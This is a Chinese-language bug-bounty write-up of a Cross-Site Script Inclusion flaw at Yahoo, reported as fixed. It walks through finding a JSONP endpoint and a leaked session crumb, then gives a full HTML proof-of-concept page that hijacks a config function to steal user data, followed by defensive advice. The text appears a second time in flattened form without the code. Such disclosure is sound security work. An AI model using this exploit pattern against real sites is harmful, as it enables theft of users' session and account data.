挖洞经验 | 看我如何发现雅虎XSSi漏洞实现用户信息窃取
字数 1147 2025-08-18 11:37:28

雅虎XSSi漏洞分析与利用教学文档

1. XSSi漏洞概述

跨站脚本包含漏洞(XSSi, Cross-Site Script Inclusion)是一种允许攻击者绕过同源策略(SOP)窃取特定类型数据的安全漏洞。其核心原理是利用<script>标记的src属性突破同源策略限制,因为浏览器不会阻止网页加载来自第三方域的脚本资源。

1.1 XSSi与XSS的区别

  • XSS:在目标网站注入恶意脚本,影响该网站的用户
  • XSSi:在自己的恶意页面包含目标网站的脚本,窃取目标网站用户数据

1.2 XSSi的危害

  • 个人存储信息泄露
  • token保护机制绕过
  • 账户劫持
  • 会话信息窃取

2. 漏洞发现过程

2.1 发现JSONP端点

在雅虎漏洞众测项目中,通过BurpSuite抓包分析发现以下请求:

https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx

这是一个JSONP(JSON with Padding)服务端点,当.crumb参数无效时,响应如下:

{"error":{"description":"Invalid crumb"}}

2.2 关键信息定位

在动态JavaScript文件中发现敏感信息:

https://messenger.yahoo.com/embed/app.js

该文件包含用户的logoutCrumb值(漏洞修复后已移除),这是一个与用户session和身份验证相关的随机字符串。

3. 漏洞利用原理

3.1 攻击流程

  1. 受害者访问恶意网页
  2. 恶意网页加载雅虎的app.js脚本
  3. 从脚本中提取有效的.crumb
  4. 使用该.crumb值构造请求获取用户session信息

3.2 同源策略绕过

浏览器允许跨域加载脚本资源,但不允许直接读取脚本内容。通过精心构造的JavaScript代码,可以间接获取脚本中包含的敏感信息。

4. PoC代码分析

<html>
<head>
    <title>Yahoo XSSi PoC</title>
</head>
<body>
    <!-- 结果显示区域 -->
    <div style="width: 60%; margin-right: auto; margin-left: auto; margin-bottom: 30px;">
        <h1 style="text-align: center;">Proof of Concept</h1>
        <b>Dataset 1:</b>
        <div id="content1" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;"></div>
        <br/>
        <b>Dataset 2:</b>
        <div id="content2" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;"></div>
    </div>

    <script>
        // 处理device_users返回的数据
        function processDeviceUsers(data) {
            document.getElementById("content1").innerHTML = JSON.stringify(data);
        }

        window.onload = function () {
            var config = {};
            config_data = {};
            
            // 劫持雅虎的配置合并函数
            config.merge = function(data) {
                config_data = data
            };
            
            // 初始化配置,实际是窃取数据
            iris.initConfig(config);
            
            // 显示窃取的配置数据
            document.getElementById("content2").innerHTML = JSON.stringify(config_data);
            
            // 构造恶意请求
            var src = "https://jsapi.login.yahoo.com/w/device_users?.crumb=" + config_data.session.logoutCrumb;
            var s = document.createElement('script');
            s.setAttribute('src', src);
            document.body.appendChild(s);
        }
    </script>
    
    <!-- 加载目标站点的JS文件 -->
    <script src="https://messenger.yahoo.com/embed/app.js"></script>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</body>
</html>

4.1 关键点解析

  1. 配置劫持:通过重写config.merge函数,窃取雅虎应用的配置数据
  2. 数据提取:从配置数据中获取logoutCrumb
  3. 恶意请求构造:使用窃取的.crumb值构造API请求
  4. 结果展示:将窃取的数据显示在页面上

5. 防御措施

5.1 对开发者的建议

  1. 避免使用JSONP:改用CORS实现跨域请求
  2. 敏感信息保护:不要将session token等敏感信息放在公开JS文件中
  3. 输入验证:对所有输入参数进行严格验证
  4. CSRF Token:使用一次性token并验证来源

5.2 对企业的建议

  1. 安全编码培训:提高开发人员安全意识
  2. 自动化扫描:在CI/CD流程中加入安全扫描
  3. 漏洞奖励计划:鼓励白帽黑客报告漏洞

6. 总结

本案例展示了如何通过XSSi漏洞窃取用户敏感信息。关键在于:

  1. 发现包含敏感信息的JSONP端点或JS文件
  2. 理解目标网站的数据流和函数调用方式
  3. 构造恶意页面劫持数据
  4. 利用窃取的信息发起进一步攻击

该漏洞获得了雅虎750美元的漏洞奖励,证明了其严重性和实际影响。

雅虎XSSi漏洞分析与利用教学文档 1. XSSi漏洞概述 跨站脚本包含漏洞(XSSi, Cross-Site Script Inclusion)是一种允许攻击者绕过同源策略(SOP)窃取特定类型数据的安全漏洞。其核心原理是利用 <script> 标记的src属性突破同源策略限制,因为浏览器不会阻止网页加载来自第三方域的脚本资源。 1.1 XSSi与XSS的区别 XSS:在目标网站注入恶意脚本,影响该网站的用户 XSSi:在自己的恶意页面包含目标网站的脚本,窃取目标网站用户数据 1.2 XSSi的危害 个人存储信息泄露 token保护机制绕过 账户劫持 会话信息窃取 2. 漏洞发现过程 2.1 发现JSONP端点 在雅虎漏洞众测项目中,通过BurpSuite抓包分析发现以下请求: 这是一个JSONP(JSON with Padding)服务端点,当 .crumb 参数无效时,响应如下: 2.2 关键信息定位 在动态JavaScript文件中发现敏感信息: 该文件包含用户的 logoutCrumb 值(漏洞修复后已移除),这是一个与用户session和身份验证相关的随机字符串。 3. 漏洞利用原理 3.1 攻击流程 受害者访问恶意网页 恶意网页加载雅虎的 app.js 脚本 从脚本中提取有效的 .crumb 值 使用该 .crumb 值构造请求获取用户session信息 3.2 同源策略绕过 浏览器允许跨域加载脚本资源,但不允许直接读取脚本内容。通过精心构造的JavaScript代码,可以间接获取脚本中包含的敏感信息。 4. PoC代码分析 4.1 关键点解析 配置劫持 :通过重写 config.merge 函数,窃取雅虎应用的配置数据 数据提取 :从配置数据中获取 logoutCrumb 值 恶意请求构造 :使用窃取的 .crumb 值构造API请求 结果展示 :将窃取的数据显示在页面上 5. 防御措施 5.1 对开发者的建议 避免使用JSONP :改用CORS实现跨域请求 敏感信息保护 :不要将session token等敏感信息放在公开JS文件中 输入验证 :对所有输入参数进行严格验证 CSRF Token :使用一次性token并验证来源 5.2 对企业的建议 安全编码培训 :提高开发人员安全意识 自动化扫描 :在CI/CD流程中加入安全扫描 漏洞奖励计划 :鼓励白帽黑客报告漏洞 6. 总结 本案例展示了如何通过XSSi漏洞窃取用户敏感信息。关键在于: 发现包含敏感信息的JSONP端点或JS文件 理解目标网站的数据流和函数调用方式 构造恶意页面劫持数据 利用窃取的信息发起进一步攻击 该漏洞获得了雅虎750美元的漏洞奖励,证明了其严重性和实际影响。